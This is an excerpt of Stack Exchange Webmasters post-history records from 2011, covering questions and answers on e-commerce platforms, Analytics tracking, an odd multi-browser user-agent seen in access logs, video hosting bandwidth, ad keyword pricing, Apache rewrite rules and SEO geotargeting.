  <row Id="21020" PostHistoryTypeId="1" PostId="9523" RevisionGUID="2d63cd08-b510-40d4-a7d6-9543a0a0af1e" CreationDate="2011-02-22T02:38:56.893" UserId="5576" Text="Webhosting for a TV channel with streaming video" />
  <row Id="21021" PostHistoryTypeId="3" PostId="9523" RevisionGUID="2d63cd08-b510-40d4-a7d6-9543a0a0af1e" CreationDate="2011-02-22T02:38:56.893" UserId="5576" Text="&lt;websites&gt;&lt;video&gt;&lt;bandwidth&gt;&lt;streaming&gt;" />
  <row Id="21022" PostHistoryTypeId="2" PostId="9524" RevisionGUID="bf288726-5dce-40c7-8bb1-984481f03b77" CreationDate="2011-02-18T21:40:55.733" UserDisplayName="Soule" Text="My idea was to make an e-commerce site alot like Amazon. Not exactly cloning it, but since its for a niche market, i need something like it. I was thinking of using Magento or something like that to use it as a base, but I cant figure out how to allow users to:&#xD;&#xA;&#xD;&#xA; - Sign Up for account, get verified by me.&#xD;&#xA; - Allowed to add items, so they can be searchable.&#xD;&#xA; - Product Reviews,&#xD;&#xA;&#xD;&#xA;What can I use to achieve/make this, and what are some suggestions?&#xD;&#xA;I can code in PHP and python, thanks!" />
  <row Id="21023" PostHistoryTypeId="1" PostId="9524" RevisionGUID="bf288726-5dce-40c7-8bb1-984481f03b77" CreationDate="2011-02-18T21:40:55.733" UserDisplayName="Soule" Text="Amazon-like ecommerce site" />
  <row Id="21024" PostHistoryTypeId="3" PostId="9524" RevisionGUID="bf288726-5dce-40c7-8bb1-984481f03b77" CreationDate="2011-02-18T21:40:55.733" UserDisplayName="Soule" Text="&lt;php&gt;&lt;magento&gt;&lt;users&gt;&lt;ecommerce&gt;&lt;amazon&gt;" />
  <row Id="21025" PostHistoryTypeId="17" PostId="9524" RevisionGUID="9359263c-e656-492a-8995-d49f1e47b76b" CreationDate="2011-02-22T02:39:25.547" UserId="-1" Comment="from http://stackoverflow.com/questions/5046895/amazon-like-ecommerce-site" Text="" />
  <row Id="21026" PostHistoryTypeId="2" PostId="9525" RevisionGUID="d374d473-bf66-474a-a2ea-84a72120fca1" CreationDate="2011-02-22T02:43:13.673" UserId="1455" Text="Of course they are used. The user may intend to print the page anyway, but you have made it easier for him.&#xD;&#xA;&#xD;&#xA;If you intend to implement it make sure to track everything.&#xD;&#xA;Use GA for event tracking to track the clicks on &quot;Add to Favorites&quot; or &quot;print this&quot;.&#xD;&#xA;Use GA to track the links by adding tags to your links, then view the number of visits it generates under the source/medium report in GA&#xD;&#xA;&#xD;&#xA;see here:&#xD;&#xA;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55578&#xD;&#xA;&#xD;&#xA;Here is an example (Note: window.external.AddFavorite only works in IE):&#xD;&#xA;&#xD;&#xA;    &lt;a  href=&quot;#&quot; onclick=&quot;_gaq.push(['_trackEvent','share', 'favorites', 'page name']);window.external.AddFavorite('http://www.example.com?utm_source=share&amp;utm_medium=favorites&amp;utm_campaign=bookmark', 'Website Name'); return false;&quot;&gt;Bookmark this Site/page&lt;/a&gt;" />
  <row Id="21027" PostHistoryTypeId="2" PostId="9526" RevisionGUID="0783150a-e712-4fd2-8109-ebb60e503f3d" CreationDate="2011-02-22T02:46:46.210" UserId="3171" Text="I was looking over my site access logs when I noticed a request with the following user agent string:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Mozilla/5.0 (Windows; U; Windows NT&#xD;&#xA;&gt; 5.1; en-US; rv:1.9.2.12) Gecko/20101026&#xD;&#xA;&gt; Firefox/3.6.12\&quot;,\&quot;Mozilla/5.0&#xD;&#xA;&gt; (Windows; U; Windows NT 5.1; pl-PL;&#xD;&#xA;&gt; rv:1.8.1.24pre) Gecko/20100228&#xD;&#xA;&gt; K-Meleon/1.5.4\&quot;,\&quot;Mozilla/5.0 (X11;&#xD;&#xA;&gt; U; Linux x86_64; en-US)&#xD;&#xA;&gt; AppleWebKit/540.0 (KHTML,like Gecko)&#xD;&#xA;&gt; Chrome/9.1.0.0&#xD;&#xA;&gt; Safari/540.0\&quot;,\&quot;Mozilla/5.0 (Windows;&#xD;&#xA;&gt; U; Windows NT 5.1; en-US)&#xD;&#xA;&gt; AppleWebKit/532.5 (KHTML, like Gecko)&#xD;&#xA;&gt; Comodo_Dragon/4.1.1.11&#xD;&#xA;&gt; Chrome/4.1.249.1042&#xD;&#xA;&gt; Safari/532.5\&quot;,\&quot;Mozilla/5.0 (X11; U;&#xD;&#xA;&gt; Linux i686 (x86_64); en-US;&#xD;&#xA;&gt; rv:1.9.0.16) Gecko/2009122206&#xD;&#xA;&gt; Firefox/3.0.16&#xD;&#xA;&gt; Flock/2.5.6\&quot;,\&quot;Mozilla/5.0 (Windows;&#xD;&#xA;&gt; U; Windows NT 6.0; en-US)&#xD;&#xA;&gt; AppleWebKit/533.1 (KHTML, like Gecko)&#xD;&#xA;&gt; Maxthon/3.0.8.2&#xD;&#xA;&gt; Safari/533.1\&quot;,\&quot;Mozilla/5.0 (Windows;&#xD;&#xA;&gt; U; Windows NT 6.0; en-US;&#xD;&#xA;&gt; rv:1.8.1.8pre) Gecko/20070928&#xD;&#xA;&gt; Firefox/2.0.0.7&#xD;&#xA;&gt; Navigator/9.0RC1\&quot;,\&quot;Opera/9.99&#xD;&#xA;&gt; (Windows NT 5.1; U; pl)&#xD;&#xA;&gt; Presto/9.9.9\&quot;,\&quot;Mozilla/5.0 (Windows;&#xD;&#xA;&gt; U; Windows NT 6.1; zh-HK)&#xD;&#xA;&gt; AppleWebKit/533.18.1 (KHTML, like&#xD;&#xA;&gt; Gecko) Version/5.0.2&#xD;&#xA;&gt; Safari/533.18.5\&quot;,\&quot;Seamonkey-1.1.13-1(X11;&#xD;&#xA;&gt; U; GNU Fedora fc 10)&#xD;&#xA;&gt; Gecko/20081112\&quot;,\&quot;Mozilla/5.0&#xD;&#xA;&gt; (compatible; MSIE 9.0; Windows NT 6.1;&#xD;&#xA;&gt; Win64; x64; Trident/5.0; .NET CLR&#xD;&#xA;&gt; 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC&#xD;&#xA;&gt; 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C;&#xD;&#xA;&gt; .NET4.0E)\&quot;,\&quot;Mozilla/4.0 (compatible;&#xD;&#xA;&gt; MSIE 7.0; Windows NT 6.1; WOW64;&#xD;&#xA;&gt; SLCC2; .NET CLR 2.0.50727; .NET CLR&#xD;&#xA;&gt; 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C;&#xD;&#xA;&gt; .NET4.0E; InfoPath.3)&quot;&#xD;&#xA;&#xD;&#xA;I find this rather impressive - a request from _'all'_ user-agents.&#xD;&#xA;&#xD;&#xA;There's actually quite a few of these requests over at least the few days - so it naturally piqued my interested.&#xD;&#xA;&#xD;&#xA;Searching Google simply seems to produce a very long list of websites which make their Apache access logs publicly available...&#xD;&#xA;&#xD;&#xA;Is this some weird indication that we're being targeted? And by who?" />
  <row Id="21028" PostHistoryTypeId="1" PostId="9526" RevisionGUID="0783150a-e712-4fd2-8109-ebb60e503f3d" CreationDate="2011-02-22T02:46:46.210" UserId="3171" Text="A single request appears to have come from all the browsers? Should I be worried?" />
  <row Id="21029" PostHistoryTypeId="3" PostId="9526" RevisionGUID="0783150a-e712-4fd2-8109-ebb60e503f3d" CreationDate="2011-02-22T02:46:46.210" UserId="3171" Text="&lt;security&gt;&lt;user-agent&gt;" />
  <row Id="21030" PostHistoryTypeId="2" PostId="9527" RevisionGUID="d2644b5a-9174-4def-81db-4633b71d86f7" CreationDate="2011-02-22T03:02:35.770" UserId="5578" Text="You failed to share the ip address of the request - so its a bit more difficult to answer the who - but a good idea of why could be a simple scan to check and see if the website is working with all browsers. &#xD;&#xA;&#xD;&#xA;This is standard for many developers when they make a change - &#xD;&#xA;services like www.BrowserShots.org generally show up this way. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="21031" PostHistoryTypeId="2" PostId="9528" RevisionGUID="153e2f75-406e-4d71-a0b8-58351462c708" CreationDate="2011-02-22T03:09:34.343" UserId="5578" Text="You fail to let us know the speed of their fiber-optic line - however Hosting elsewhere while it has a cost - would yield a better result if they do not have enough bandwidth. &#xD;&#xA;&#xD;&#xA;Let's say there are 1000 people watching a full HD signal.  A 1080HD signal via Roku can take up to 8mbps - so using that as a standard - let's say it was 8000mbps &#xD;&#xA;&#xD;&#xA;1024mbps is a GIGE line ... &#xD;&#xA;&#xD;&#xA;You may want to utilize some of the various CDN services on the market to help you with this... " />
  <row Id="21032" PostHistoryTypeId="2" PostId="9529" RevisionGUID="fe0be620-d0c8-42b7-88fd-e45b35e70948" CreationDate="2011-02-22T03:20:18.160" UserId="5579" Text="Thanks guys.  In the end the client set their own hosting up, so I'm not actually sure which one of these to mark as the answer!  I'll be noting both of them for future cases.  If anyone would like to propose which is the most suitable, I'll confirm it.  :)" />
  <row Id="21033" PostHistoryTypeId="2" PostId="9530" RevisionGUID="a7295956-6a8d-440a-90ef-f2596e545a5a" CreationDate="2011-02-22T03:32:07.607" UserId="4021" Text="Here are the services I know of where you can find traffic info, in descending order that I trust their data:&#xD;&#xA;&#xD;&#xA; - http://trends.google.com/websites?q=stackoverflow.com&amp;sa=N&#xD;&#xA; - http://www.quantcast.com/stackoverflow.com&#xD;&#xA; - http://siteanalytics.compete.com/stackoverflow.com/&#xD;&#xA; - http://www.alexa.com/siteinfo/stackoverflow.com#&#xD;&#xA;&#xD;&#xA;I also like http://www.semrush.com/search.php?q=stackoverflow.com&amp;db=us for drilling down on the specific keywords (paid or un-paid) and rankings that are driving traffic.&#xD;&#xA;&#xD;&#xA;The following paid services also offer competitor traffic estimates if you can afford $10k per month:&#xD;&#xA;&#xD;&#xA; - http://www.nielsen.com/us/en/measurement/online-measurement.html&#xD;&#xA; - http://www.hitwise.com&#xD;&#xA; - http://www.comscore.com&#xD;&#xA;&#xD;&#xA;The following article provides an excellent summary of their methodologies and limits of their accuracy:&#xD;&#xA;&#xD;&#xA;http://www.antezeta.com/blog/web-statistics-suppliers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21034" PostHistoryTypeId="2" PostId="9531" RevisionGUID="df09a1b5-0508-4795-822a-1216d5b531bf" CreationDate="2011-02-22T04:03:13.837" UserId="5013" Text="Often when I am using the Adwords Keyword tool I find keywords with a CPC of $0.05... I mean VERY often. Is this like base level when it comes to PPC or is this a possible error?&#xD;&#xA;&#xD;&#xA;For example, with a few keywords I have targetted with a 0.05 CPC, I often find a PPC of 0.25 or more. Obviously, this is because my content is triggering other keywords, although it is centered around a 0.05 keyword.&#xD;&#xA;&#xD;&#xA;I have found several keywords that have over 200,000 searches using the [exact] search parameter but have a CPC of $0.05. I plan on writing content to cover these keywords, but I am trying to figure the approximate value of these keywords.&#xD;&#xA;&#xD;&#xA;0.05 leads me to believe there are no advertisers so IF someone were to advertise and use this keyword, it would cost them ~0.05. But since there is obviously no demand for these keywords and thus they aren't getting bids, other ads MUST be shown. How can I predict the value of ads with a CPC of $0.05?&#xD;&#xA;&#xD;&#xA;Strange question I know, but I'm just trying to understand this a bit more." />
  <row Id="21035" PostHistoryTypeId="1" PostId="9531" RevisionGUID="df09a1b5-0508-4795-822a-1216d5b531bf" CreationDate="2011-02-22T04:03:13.837" UserId="5013" Text="How to Figure AdSense PPC with AdWords CPC of $0.05" />
  <row Id="21036" PostHistoryTypeId="3" PostId="9531" RevisionGUID="df09a1b5-0508-4795-822a-1216d5b531bf" CreationDate="2011-02-22T04:03:13.837" UserId="5013" Text="&lt;google-adsense&gt;&lt;keywords&gt;&lt;ppc&gt;&lt;adwords&gt;" />
  <row Id="21037" PostHistoryTypeId="5" PostId="9526" RevisionGUID="ce2d8671-376e-4260-b18e-b07ccbd2e277" CreationDate="2011-02-22T04:33:20.790" UserId="3171" Comment="added IP address of requester" Text="I was looking over my site access logs when I noticed a request with the following user agent string:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Mozilla/5.0 (Windows; U; Windows NT&#xD;&#xA;&gt; 5.1; en-US; rv:1.9.2.12) Gecko/20101026&#xD;&#xA;&gt; Firefox/3.6.12\&quot;,\&quot;Mozilla/5.0&#xD;&#xA;&gt; (Windows; U; Windows NT 5.1; pl-PL;&#xD;&#xA;&gt; rv:1.8.1.24pre) Gecko/20100228&#xD;&#xA;&gt; K-Meleon/1.5.4\&quot;,\&quot;Mozilla/5.0 (X11;&#xD;&#xA;&gt; U; Linux x86_64; en-US)&#xD;&#xA;&gt; AppleWebKit/540.0 (KHTML,like Gecko)&#xD;&#xA;&gt; Chrome/9.1.0.0&#xD;&#xA;&gt; Safari/540.0\&quot;,\&quot;Mozilla/5.0 (Windows;&#xD;&#xA;&gt; U; Windows NT 5.1; en-US)&#xD;&#xA;&gt; AppleWebKit/532.5 (KHTML, like Gecko)&#xD;&#xA;&gt; Comodo_Dragon/4.1.1.11&#xD;&#xA;&gt; Chrome/4.1.249.1042&#xD;&#xA;&gt; Safari/532.5\&quot;,\&quot;Mozilla/5.0 (X11; U;&#xD;&#xA;&gt; Linux i686 (x86_64); en-US;&#xD;&#xA;&gt; rv:1.9.0.16) Gecko/2009122206&#xD;&#xA;&gt; Firefox/3.0.16&#xD;&#xA;&gt; Flock/2.5.6\&quot;,\&quot;Mozilla/5.0 (Windows;&#xD;&#xA;&gt; U; Windows NT 6.0; en-US)&#xD;&#xA;&gt; AppleWebKit/533.1 (KHTML, like Gecko)&#xD;&#xA;&gt; Maxthon/3.0.8.2&#xD;&#xA;&gt; Safari/533.1\&quot;,\&quot;Mozilla/5.0 (Windows;&#xD;&#xA;&gt; U; Windows NT 6.0; en-US;&#xD;&#xA;&gt; rv:1.8.1.8pre) Gecko/20070928&#xD;&#xA;&gt; Firefox/2.0.0.7&#xD;&#xA;&gt; Navigator/9.0RC1\&quot;,\&quot;Opera/9.99&#xD;&#xA;&gt; (Windows NT 5.1; U; pl)&#xD;&#xA;&gt; Presto/9.9.9\&quot;,\&quot;Mozilla/5.0 (Windows;&#xD;&#xA;&gt; U; Windows NT 6.1; zh-HK)&#xD;&#xA;&gt; AppleWebKit/533.18.1 (KHTML, like&#xD;&#xA;&gt; Gecko) Version/5.0.2&#xD;&#xA;&gt; Safari/533.18.5\&quot;,\&quot;Seamonkey-1.1.13-1(X11;&#xD;&#xA;&gt; U; GNU Fedora fc 10)&#xD;&#xA;&gt; Gecko/20081112\&quot;,\&quot;Mozilla/5.0&#xD;&#xA;&gt; (compatible; MSIE 9.0; Windows NT 6.1;&#xD;&#xA;&gt; Win64; x64; Trident/5.0; .NET CLR&#xD;&#xA;&gt; 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC&#xD;&#xA;&gt; 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C;&#xD;&#xA;&gt; .NET4.0E)\&quot;,\&quot;Mozilla/4.0 (compatible;&#xD;&#xA;&gt; MSIE 7.0; Windows NT 6.1; WOW64;&#xD;&#xA;&gt; SLCC2; .NET CLR 2.0.50727; .NET CLR&#xD;&#xA;&gt; 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C;&#xD;&#xA;&gt; .NET4.0E; InfoPath.3)&quot;&#xD;&#xA;&#xD;&#xA;The request appears to have originated from 91.121.153.210 - which appears to be owned by these guys: http://www.medialta.eu/accueil.html&#xD;&#xA;&#xD;&#xA;I find this rather impressive - a request from _'all'_ user-agents.&#xD;&#xA;&#xD;&#xA;There's actually quite a few of these requests over at least the few days - so it naturally piqued my interested.&#xD;&#xA;&#xD;&#xA;Searching Google simply seems to produce a very long list of websites which make their Apache access logs publicly available...&#xD;&#xA;&#xD;&#xA;Is this some weird indication that we're being targeted? And by who?" />
  <row Id="21038" PostHistoryTypeId="2" PostId="9532" RevisionGUID="ec445f62-45a7-4623-9fec-8eaa35cfdbf6" CreationDate="2011-02-22T04:50:13.900" UserId="4803" Text="I found PHP Melody that might serve as a substitute. &lt;a href=&quot;http://www.phpsugar.co/phpmelody.html&quot;&gt;PHP Melody&lt;/a&gt; has the following features:&#xD;&#xA;&#xD;&#xA; - Private Videos   &#xD;&#xA; - SEO Friendly    &#xD;&#xA; - Mass Video Import &#xD;&#xA; - JW Player / FlowPlayer&#xD;&#xA; - Multiple video sources Optimized for speed &#xD;&#xA; - UTF-8 Support &#xD;&#xA; - Built-in Article&#xD;&#xA; - Manager The ability to embed any video from any source &#xD;&#xA; - Upload your own videos &#xD;&#xA; - Video-checking bot &#xD;&#xA; - Security&#xD;&#xA;&#xD;&#xA;Granted, it isn't as advanced as MediaCore, but it has a lot of the same features and can probably do most of the things MediaCore can." />
  <row Id="21039" PostHistoryTypeId="5" PostId="9437" RevisionGUID="a1483b8b-13b4-474d-9970-38e1723161e9" CreationDate="2011-02-22T05:04:33.933" UserId="5568" Comment="added 4639 characters in body; deleted 8 characters in body" Text="I have setup some rules in which subdomains (my users) will default to where I have located the robots.txt, favicon.ico, and crossdomain.xml&#xD;&#xA;&#xD;&#xA;therefore if a user creates a site say&#xD;&#xA;&#xD;&#xA;`testing.mywebsite.com` and they don't make their own favicon.ico at `testing.mywebsite.com/favicon.ico`, then it will use the favicon.ico I have in `/misc/favicon.ico`&#xD;&#xA;&#xD;&#xA;This works perfect, but it doesn't work for the main website.  If you attempt to go to&#xD;&#xA;`mywebsite.com/favicon.ico` it will check if &quot;/&quot; exists, in which it does. And then never redirects to `/misc/favicon.ico`&#xD;&#xA;&#xD;&#xA;How can I get it so both instances redirect to `/misc/favicon.ico` ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;		# Set all crossdomain (openxxx file) favorite icons and robots.txt doesnt exist on their&#xD;&#xA;		# side, then redirect to site's just to have something to go on.&#xD;&#xA;    RewriteCond	    %{REQUEST_URI}  		crossdomain.xml$&#xD;&#xA;    RewriteCond     ^(.+)crossdomain.xml    !-f&#xD;&#xA;    RewriteRule     ^(.*)$                  /misc/crossdomain.xml [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond	    %{REQUEST_URI}  		favicon.ico$&#xD;&#xA;    RewriteCond     ^(.+)favicon.ico        !-f &#xD;&#xA;    RewriteRule     ^(.*)$                  /misc/favicon.ico [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond	    %{REQUEST_URI}  		robots.txt$&#xD;&#xA;    RewriteCond     ^(.+)robots.txt         !-f &#xD;&#xA;    RewriteRule     ^(.*)$                  /misc/robots.txt [L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;Here is my full Vhost if it helps in diagnosing:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *&gt;&#xD;&#xA;            ServerName www.mysite.com&#xD;&#xA;            ServerAdmin webmaster@mysite.com&#xD;&#xA;            DocumentRoot /var/www/mysite/&#xD;&#xA;            &lt;Directory /var/www/mysite/&gt;&#xD;&#xA;                    Options Indexes FollowSymLinks MultiViews&#xD;&#xA;                    AllowOverride All&#xD;&#xA;                    Order allow,deny&#xD;&#xA;                    allow from all&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;            ErrorLog /var/log/apache2/mysite_error.log&#xD;&#xA;            LogLevel warn&#xD;&#xA;    &#xD;&#xA;            CustomLog /var/log/apache2/mysite_access.log combined&#xD;&#xA;            ServerSignature on&#xD;&#xA;    &#xD;&#xA;            RewriteEngine   on        &#xD;&#xA;            &#xD;&#xA;            #RewriteLog		&quot;/var/log/apache2/rewrite.log&quot;&#xD;&#xA;            #RewriteLogLevel 9&#xD;&#xA;            &#xD;&#xA;    &#xD;&#xA;            &#xD;&#xA;            RewriteCond     %{HTTP_HOST}            ^www.mysite.com$   [NC]&#xD;&#xA;            RewriteRule     ^(.*)$                  - [L]&#xD;&#xA;            &#xD;&#xA;    &#xD;&#xA;            RewriteCond     %{HTTP_HOST}            ^mysite.com$   [NC]&#xD;&#xA;            RewriteRule     ^(.*)$                  http://www.mysite.com$1 [NC,L,R=302]&#xD;&#xA;            &#xD;&#xA;            &#xD;&#xA;            # If there is a subdomain and the subdomain has a /home/ directory attached to it then&#xD;&#xA;            # rewrite the HTTP_HOST into the URI so we can process it. If its /media/, go to their&#xD;&#xA;            # media folder, otherwise to their www folder.&#xD;&#xA;            &#xD;&#xA;            RewriteCond     %{HTTP_HOST}                                 ^(?:www\.)?(.+?)\.mysite\.com$&#xD;&#xA;            RewriteCond     /home/%1/                                    -d&#xD;&#xA;            RewriteRule     ^(.+)                                        %{HTTP_HOST}$1&#xD;&#xA;            &#xD;&#xA;            RewriteRule     ^(?:www\.)?([^.]+?)\.mysite\.com/media/(.*) /home/$1/xxx/media/$2 [L]&#xD;&#xA;            RewriteRule     ^(?:www\.)?([^.]+?)\.mysite\.com/(.*)       /home/$1/www/$2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    		# Set all crossdomain (openpalace file) favorite icons and robots.txt doesnt exist on their&#xD;&#xA;    		# side, then redirect to mainsite's just to have something to go on.&#xD;&#xA;            RewriteCond	    %{REQUEST_URI}  		crossdomain.xml$&#xD;&#xA;            RewriteCond     ^(.+)crossdomain.xml    !-f&#xD;&#xA;            RewriteRule     ^(.*)$                  /misc/crossdomain.xml [L]&#xD;&#xA;            &#xD;&#xA;            RewriteCond	    %{REQUEST_URI}  		favicon.ico$&#xD;&#xA;            RewriteCond     ^(.+)favicon.ico        !-f &#xD;&#xA;            RewriteRule     ^(.*)$                  /misc/favicon.ico [L]&#xD;&#xA;            &#xD;&#xA;            RewriteCond	    %{REQUEST_URI}  		robots.txt$&#xD;&#xA;            RewriteCond     ^(.+)robots.txt         !-f &#xD;&#xA;            RewriteRule     ^(.*)$                  /misc/robots.txt [L]&#xD;&#xA;            &#xD;&#xA;            &#xD;&#xA;            &#xD;&#xA;            &#xD;&#xA;            # Same as above but this is for if the directory doe's not exist. Typically it would be&#xD;&#xA;            # wise to put this into a skip to emulate an if/else but it would also match if the &#xD;&#xA;            # HTTP_HOST was anything. The skip If/Else method only works with 1 IF, 2&#xD;&#xA;            # Don't put this as the last thing, there could be redirects later on that may not have a&#xD;&#xA;            # /home/ dir but are just shortcuts to things, like inbox.mysite.com&#xD;&#xA;             &#xD;&#xA;            RewriteCond     %{HTTP_HOST}                                 ^(?:www\.)?(.+?)\.mysite\.com$&#xD;&#xA;            RewriteCond     /home/%1/                                    !-d        &#xD;&#xA;            RewriteRule     ^(.*)$                 						 http://www.mysite.com$1 [R=302]&#xD;&#xA;           &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    		&#xD;&#xA;    		&#xD;&#xA;    		#Extract the subdomain (if there is one), domain, and tld. Check id the domain exists in&#xD;&#xA;    		#/home/. If it does then rewrite URL to http_host and then see if it can apply to media.&#xD;&#xA;    		# There has to be two pairs of rewriteCond because it only applies to the next rule.&#xD;&#xA;    &#xD;&#xA;    																	  #www.   domain .   tld&#xD;&#xA;            RewriteCond     %{HTTP_HOST}           						^(?:.*\.)?([^.]+)\.(?:[^.]+)$&#xD;&#xA;            RewriteCond     /home/%1/                					-d&#xD;&#xA;            RewriteRule     ^(.+)                   					%{HTTP_HOST}$1 [C]&#xD;&#xA;            RewriteRule     ^(?:.*\.)?([^.]+)\.(?:[^.]+?)/media/(.*)$    /home/$1/xxx/media/$2 [L] &#xD;&#xA;            &#xD;&#xA;     															           #www.   domain .   tld&#xD;&#xA;            RewriteCond     %{HTTP_HOST}           						^(?:.*\.)?([^.]+)\.(?:[^.]+)$&#xD;&#xA;            RewriteCond     /home/%1/                					-d&#xD;&#xA;            RewriteRule     ^(?:.*\.)?([^.]+)\.(?:[^.]+?)/(.*)$          /home/$1/www/$2 [L] &#xD;&#xA;            &#xD;&#xA;    		&#xD;&#xA;    &lt;/VirtualHost&gt;" />
  <row Id="21040" PostHistoryTypeId="2" PostId="9533" RevisionGUID="0c96fad9-5fca-4d22-a3e5-b1ac5ee66afe" CreationDate="2011-02-22T05:20:38.320" UserId="5581" Text="We are a company that is distributed in several places over Europe (real offices).    &#xD;&#xA;Each office has its own domain.  &#xD;&#xA;company.de  &#xD;&#xA;company.co.uk  &#xD;&#xA;company.ch  &#xD;&#xA;And so.  &#xD;&#xA;&#xD;&#xA;Our website servers are located in one place.&#xD;&#xA;&#xD;&#xA;We can't distribute our site to different locations.  &#xD;&#xA;How can we create a local IP in each location to show our main server. so google will see us as local ip. &#xD;&#xA;Explanation:  &#xD;&#xA;Google has decided to increase your PR if you have a local IP, they think that if you bought a server in a local market means that you are very serious about your business.    &#xD;&#xA;We have 8 employees in each office, we cant have a separate server, is that mean that we are not serious about our business? no, this is y i need to create this illusion.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21041" PostHistoryTypeId="1" PostId="9533" RevisionGUID="0c96fad9-5fca-4d22-a3e5-b1ac5ee66afe" CreationDate="2011-02-22T05:20:38.320" UserId="5581" Text="Creating sites with local ips that pointing to a distant server." />
  <row Id="21042" PostHistoryTypeId="3" PostId="9533" RevisionGUID="0c96fad9-5fca-4d22-a3e5-b1ac5ee66afe" CreationDate="2011-02-22T05:20:38.320" UserId="5581" Text="&lt;seo&gt;&lt;ip&gt;" />
  <row Id="21043" PostHistoryTypeId="25" PostId="9526" RevisionGUID="cb53e0d6-514c-461b-a9be-576203a29d94" CreationDate="2011-02-22T05:22:49.120" Comment="http://twitter.com/#!/StackWebmasters/status/39918007434088448" />
  <row Id="21044" PostHistoryTypeId="2" PostId="9534" RevisionGUID="ff6ee07a-07e0-493b-8029-95c0868b47dc" CreationDate="2011-02-22T06:01:30.307" UserId="1757" Text="You're going about this wrong. First off, there's no practical way of doing what you want. Secondly, Google doesn't really care about what country you're hosted in. What they care about is which country your website is targeted at. If your site is aimed at Americans, then they might rank you higher in an SERP on Google.com than a site aimed at Brits with the same PR (your PR isn't affected by which country you're hosted in, only how many backlinks you have).&#xD;&#xA;&#xD;&#xA;Now, what Google uses to determine which country your site is aimed at includes your IP address, but that's not the only (or even most important) factor. Google also looks at the `Content-Language` header/meta tag, the `lang`/`xml:lang` attributes in your HTML, your ccTLD, and the actual language your content is written in. Of all of these, the actual language your content is in is the most important and then your ccTLD. Your IP is only relied upon if you have an international TLD. So if you have your content localized to the region you're targeting *and* you have the proper ccTLD, then that's more than enough to tell Google who the intended audience for this site is.&#xD;&#xA;&#xD;&#xA;There's also no reason to trick Google or create an &quot;illusion&quot;. SEO isn't a war against the search engine. After all, Google has a vested interest in getting your actual intended audience right. That's why you can also specify which country your site is aimed at in Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;So to wrap things up, Google isn't trying to slight you or your business. And their geotargeted SERPs actually benefit businesses like yours that have localized websites for different regions. You don't have to worry about your PR." />
  <row Id="21045" PostHistoryTypeId="5" PostId="9534" RevisionGUID="f110172f-90f8-4f22-bc4c-b3f7a4ed8a5e" CreationDate="2011-02-22T06:07:08.380" UserId="1757" Comment="add link to John Mueller's answer" Text="You're going about this wrong. First off, there's no practical way of doing what you want. Secondly, Google doesn't really care about what country you're hosted in. What they care about is which country your website is targeted at. If your site is aimed at Americans, then they might rank you higher in an SERP on Google.com than a site aimed at Brits with the same PR (your PR isn't affected by which country you're hosted in, only how many backlinks you have).&#xD;&#xA;&#xD;&#xA;Now, what Google uses to determine which country your site is aimed at includes your IP address, but that's not the only (or even most important) factor. Google also looks at your ccTLD, and the actual language your content is written in. Of these factors, the actual language your content is in is the most important and then your ccTLD (you might also use the `Content-Language` header/meta tag and the `lang`/`xml:lang` attributes in your HTML to specify the region you're targetting&amp;mdash;e.g. en-US or en-GB, but [according to John Mueller](http://webmasters.stackexchange.com/questions/5043/how-can-i-prevent-google-mistakenly-offering-to-translate-a-page) Google has learned to ignore these hints since they're often incorrect). Your IP is only relied upon if you have an international TLD. So if you have your content localized to the region you're targeting *and* you have the proper ccTLD, then that's more than enough to tell Google who the intended audience for this site is.&#xD;&#xA;&#xD;&#xA;There's also no reason to trick Google or create an &quot;illusion&quot;. SEO isn't a war against the search engine. After all, Google has a vested interest in getting your actual intended audience right. That's why you can also specify which country your site is aimed at in Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;So to wrap things up, Google isn't trying to slight you or your business. And their geotargeted SERPs actually benefit businesses like yours that have localized websites for different regions. You don't have to worry about your PR." />
  <row Id="21046" PostHistoryTypeId="2" PostId="9535" RevisionGUID="50e1fdba-dfc0-402d-a075-2f3c1a65494b" CreationDate="2011-02-22T06:11:20.060" UserId="5582" Text="I like the style of tags at [math.stackexchange.com][1]. In fact, I'd like to create sth similar and I was wondering how are they styled. &#xD;&#xA;&#xD;&#xA;First of all, I've launched Firebug and was trying to analyze the DOM. &#xD;&#xA;&#xD;&#xA;Let's see i.e. [graph-theory] tag:&#xD;&#xA;&#xD;&#xA;![math tags][2]&#xD;&#xA;&#xD;&#xA;and in Firebug it looks like there are no brackets:&#xD;&#xA;&#xD;&#xA;![math firebug][3]&#xD;&#xA;&#xD;&#xA;So, where's the catch?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://math.stackexchange.com&#xD;&#xA;  [2]: http://i.stack.imgur.com/4jTxK.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/u7MuG.png" />
  <row Id="21047" PostHistoryTypeId="1" PostId="9535" RevisionGUID="50e1fdba-dfc0-402d-a075-2f3c1a65494b" CreationDate="2011-02-22T06:11:20.060" UserId="5582" Text="How is style of tags at math.stackexchange done?" />
